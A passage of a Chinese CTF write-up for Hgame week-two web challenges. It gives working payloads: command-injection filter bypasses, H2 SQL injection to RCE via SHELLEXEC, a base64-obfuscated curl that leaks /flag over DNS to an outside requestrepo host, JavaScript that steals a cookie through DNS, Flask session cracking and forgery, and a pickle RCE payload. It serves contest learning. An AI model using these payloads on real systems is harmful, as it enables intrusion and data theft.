Hgame题解(第二星期)

2024-03-02 00:04
文章标签 第二 题解 星期 hgame

本文主要是介绍Hgame题解(第二星期),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Hgame题解(第二星期)

Web

Select More Courses

打开靶机发现是一个登陆页面,根据题目提示下载弱密码字典,通过BP爆破获得用户密码为qwert123

在这里插入图片描述

登陆后进入下一个页面,由于学分已满无法选课,所以需要先进行选课扩学分申请,进入该页面提示Race against time!,需要爆破申请,与 Week 1 类似可以写python脚本进行申请,也可以使用BP的Intruder进行申请,这里采用BP

在这里插入图片描述
在经过大量申请之后网站并不会返回其他值,但是再回到选课页面时会发现学分上限提高了,也就可以自主选课了,选课很简单,选完之后就可以拿到flag

在这里插入图片描述

What the cow say?

在这里插入图片描述
这题考察的命令注入,过滤了直接的命令但是没有过滤反引号,反引号会将其包裹的内容作为命令执⾏后传回给bash

尝试ls /(左右两边要加反引号),发现能够打印根目录,并且看到了提示:flag_is_here
在这里插入图片描述
通过ls /fla""g_is_here(双引号绕过flag检测),发现下面存在文件:flag_c0w54y
在这里插入图片描述
使用ca""t /fla""g_is_here/fla""g_c0w54y即可打印出文件内容,拿到flag(通过string app.py还可以拿到网页的pyton源码)
在这里插入图片描述

search4member

题目考点:堆叠注入+ H2 database RCE漏洞

打开靶机网站发现是一个查询页面

在这里插入图片描述

下载附件,解压后在文件夹中发现Java代码(连接SQL)和数据库代码
使用?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+发现数据库名为H2(提示使用的是H2 database),该数据库有个RCE漏洞,原理是可以创建一个数据库函数 SHELLEXEC ,通过该函数可以执行命令

创建SHELLEXEC的payload:

?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+

带出flag的payload:

?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

其中Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=解码后的意思是curl cat /flag.28zrgzsc.requestrepo.com,即拼凑域名后通过DNS带出数据,然后在DNS解析中找到对应部分的值
在这里插入图片描述

梅开二度

题目考点:Go语言的SSTI,利用XSS

分析附件源码发现程序使用的是text/template,而Go语言提供了两个模板包。一个是 text/template,另一个是html/template。text/template不对传入数据进行编码,因此该模板并不适合构建 Web 应用程序,而html/template与text/template虽然相同,但增加了HTML编码等安全保护,适用于构建web应用程序

根据提供的源代码var re = regexp.MustCompile(script|file|on),发现会过滤script、file、on
根据if len(tmplStr) > 50,说明限制payload长度小于50
根据tmplStr = html.EscapeString(tmplStr),会转义HTML字符串(也说明了可以通过tmplStr进行注入)

第一步:通过payload ?tmpl={{println 0B101101011011011110001010110}}测试是否存在SSTI,返回95272022,说明存在SSTI

第二步:通过?tmpl={{.Query Jay17}}&Jay17=<script>alert('XSS')</script>发现可以XSS

第三步:继续分析源代码,发现/bot路由用于获取url参数(前提要求url的值是本地8080端口,此处的url是参数名而不是实际的链接),/flag路由将cookie设置为flag,前提是来源为本地

思路:首先访问/bot目录,该目录提取url的值并判断是否为本地访问
(?url=http://127.0.0.1:8080)

然后在/bot这个路由下访问/flag,相当于利用/bot路由跳转了一次来满足/flag要求的本地访问(通过tmpl的JS代码实现访问),然后带出flag

初始payload模板:

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>(这里的部分是用于实现访问的js代码,访问/flag并带出cokkie值中的flag)`</script>

由于无法使用vps反向监听,但是可以利用DNS解析地址获得该值,原理是:

如果攻击者想要泄露信息 “secret”,可能会生成一个如下的DNS查询:
secret.evil.com
在这里,evil.com 是攻击者控制的域名。当这个查询被发送时,DNS解析请求会传递给攻击者的DNS服务器。然后,攻击者可以从DNS查询中提取出 “secret” 数据。

完整payload(JS部分):

async function fetchData() {let x; // 用于存储从网址B获取的响应数据try {// 首先访问网址Aconst responseA = await fetch('http://127.0.0.1:8080/flag');const dataA = await responseA.text();console.log('网址A访问成功', dataA); // 显示网址A的响应数据,如果需要// 然后访问网址B,并将响应数据赋值给变量Xconst responseB = await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');x = await responseB.text();console.log('网址B访问成功,数据已赋值给变量X');} catch (error) {console.error('访问网址时发生错误:', error);return; // 出错时提前退出函数}// DNS带出try {const url = "http://jay17" + x.substring(6, 46) + ".kgb7xfn7.requestrepo.com/";window.open(url);console.log('已尝试进行DNS带出:', url);} catch (error) {console.error('DNS带出过程中发生错误:', error);}
}// 调用函数
fetchData();

注意点:/bot路由和执行JS代码的两次解码,无法使用document.cookie带出cookie(因为cookie被标记为了HttpOnly,不能通过JS代码访问,只能通过http访问),由于flag里面有其他符号,导致了DNS无法带出数据(因此使用字符串截取.substring()方法,截取flag中花括号内的纯字符)

myflask

题目考点:破解并仿造session + 利用pickle模块实现RCE

打开靶机网页,发现给出了源代码,其中比较关键的是网站session密钥是基于网站开启时间生成的,也就是我们如果知道了网站的启动那一时刻,就能够获得密钥并生成自己的session,然后需要让session的username的值为admin,如此就能通过pickle反序列化执行我们的攻击命令

在这里插入图片描述
第一步:获取网站启动时间,由于这是个比赛题目,所以靶机启动时间很容易就能够得到(打开靶机那个时刻),使用以下Python脚本即可获取详细启动时间

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time# 定义字典文件路径
wordlist_path = "wordlist.txt"# 生成包含所有可能四位数字组合的字典,每个数字前加上前缀"17"//17为具体小时,根据自己的修改
print("Generating wordlist...")
with open(wordlist_path, "w") as f:# 生成并写入数字组合for x in itertools.product('0123456789', repeat=4):f.write('17' + "".join(x) + "\n")# 示例:直接使用硬编码的cookie,实际应用中可能从响应中获取
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeBLxA.lexH-lsz7VWzLJ_nNwUcGytUsf0'//替换成自己的session
print("Got cookie: " + cookie_tamper)# 开始破解过程
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)# 记录破解开始时间
before = time.time()# 使用生成的字典文件尝试破解SECRET_KEY
with wordlist(wordlist_path, parse_lines=False) as iterator:obj.crack(iterator)# 如果找到了SECRET_KEY,显示结果和用时
if obj.secret:secret = obj.secret.decode()print(f"Found SECRET_KEY {secret} in {time.time()-before} seconds")# 使用找到的SECRET_KEY签名一个新的session数据new_session_data = {"time": time.time(), "authorized": True}signed_cookie = flask_unsign.sign(new_session_data, secret=secret)print(f"Signed Cookie: {signed_cookie}")

六位数字xxxxxx代表:
xx(小时)xx(分钟)xx(秒)
在这里插入图片描述

第二步:获取session结构,使用以下Python脚本,输入靶机返回的session获得结构,即{'username': 'guest'},只要我们知道了结构和密钥,我们就能够仿造出admin的session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = True# 检查并添加必要的paddingpadding = '=' * ((4 - len(payload) % 4) % 4)payload += padding.encode()try:payload = b64decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of an exception: ' + str(e))if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before decoding: ' + str(e))return session_json_serializer.loads(payload)if __name__ == '__main__':encoded_session = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeA6aA.wuZ6XevzyQ6X7oDKzdnrRidAToU".encode()print(decryption(encoded_session))

第三步:根据前面得到的{‘username’: ‘guest’}和密钥171728生成新的session,脚本代码:
from itsdangerous import URLSafeTimedSerializer

# 你的密钥和数据
secret_key = '171728'
data = {'username': 'guest'}# 创建一个序列化器实例
serializer = URLSafeTimedSerializer(secret_key)# 序列化数据
serialized_data = serializer.dumps(data)print(f"Serialized session data: {serialized_data}")

在这里插入图片描述

使用以下Python生成反序列化代码,注意pickle版本一致

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

然后利用post方法提交该生成代码(注意伪造session):pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

即可得到flag

这篇关于Hgame题解(第二星期)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/764276

相关文章

闲置电脑也能活出第二春?鲁大师AiNAS让你动动手指就能轻松部署

对于大多数人而言,在这个“数据爆炸”的时代或多或少都遇到过存储告急的情况,这使得“存储焦虑”不再是个别现象,而将会是随着软件的不断臃肿而越来越普遍的情况。从不少手机厂商都开始将存储上限提升至1TB可以见得,我们似乎正处在互联网信息飞速增长的阶段,对于存储的需求也将会不断扩大。对于苹果用户而言,这一问题愈发严峻,毕竟512GB和1TB版本的iPhone可不是人人都消费得起的,因此成熟的外置存储方案开

C++ | Leetcode C++题解之第393题UTF-8编码验证

题目: 题解: class Solution {public:static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num &

《数据结构(C语言版)第二版》第八章-排序(8.3-交换排序、8.4-选择排序)

8.3 交换排序 8.3.1 冒泡排序 【算法特点】 (1) 稳定排序。 (2) 可用于链式存储结构。 (3) 移动记录次数较多,算法平均时间性能比直接插入排序差。当初始记录无序,n较大时, 此算法不宜采用。 #include <stdio.h>#include <stdlib.h>#define MAXSIZE 26typedef int KeyType;typedef char In

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

C语言 | Leetcode C语言题解之第393题UTF-8编码验证

题目: 题解: static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num & MASK1) == 0) {return

C - Word Ladder题解

C - Word Ladder 题解 解题思路: 先输入两个字符串S 和t 然后在S和T中寻找有多少个字符不同的个数(也就是需要变换多少次) 开始替换时: tips: 字符串下标以0开始 我们定义两个变量a和b,用于记录当前遍历到的字符 首先是判断:如果这时a已经==b了,那么就跳过,不用管; 如果a大于b的话:那么我们就让s中的第i项替换成b,接着就直接输出S就行了。 这样

【秋招笔试】9.07米哈游秋招改编题-三语言题解

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 大厂实习经历 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收集 100+ 套笔试题,笔试真题 会在第一时间跟新 🍄 题面描述等均已改编,如果和你笔试题看到的题面描述

LeetCode 第414场周赛个人题解

目录 Q1. 将日期转换为二进制表示 原题链接 思路分析 AC代码 Q2. 范围内整数的最大得分 原题链接 思路分析 AC代码 Q3. 到达数组末尾的最大得分 原题链接 思路分析 AC代码 Q4. 吃掉所有兵需要的最多移动次数 原题链接 思路分析 AC代码 Q1. 将日期转换为二进制表示 原题链接 Q1. 将日期转换为二进制表示 思路分析

牛客小白月赛100部分题解

比赛地址:牛客小白月赛100_ACM/NOI/CSP/CCPC/ICPC算法编程高难度练习赛_牛客竞赛OJ A.ACM中的A题 #include<bits/stdc++.h>using namespace std;#define ll long long#define ull = unsigned long longvoid solve() {ll a,b,c;cin>>a>>b>

P2858 [USACO06FEB] Treats for the Cows G/S 题解

P2858 题意 给一个数组。每天把最左或者最右的东西卖掉,第 i i i个东西,第 d a y day day天卖出的价格是 a [ i ] ∗ d a y a[i]*day a[i]∗day。 记忆化搜索 void dfs(int l,int r,int day,ll sum){if(v[l][r]>=sum)return;v[l][r]=sum;if(l>r)//这就是dp答案{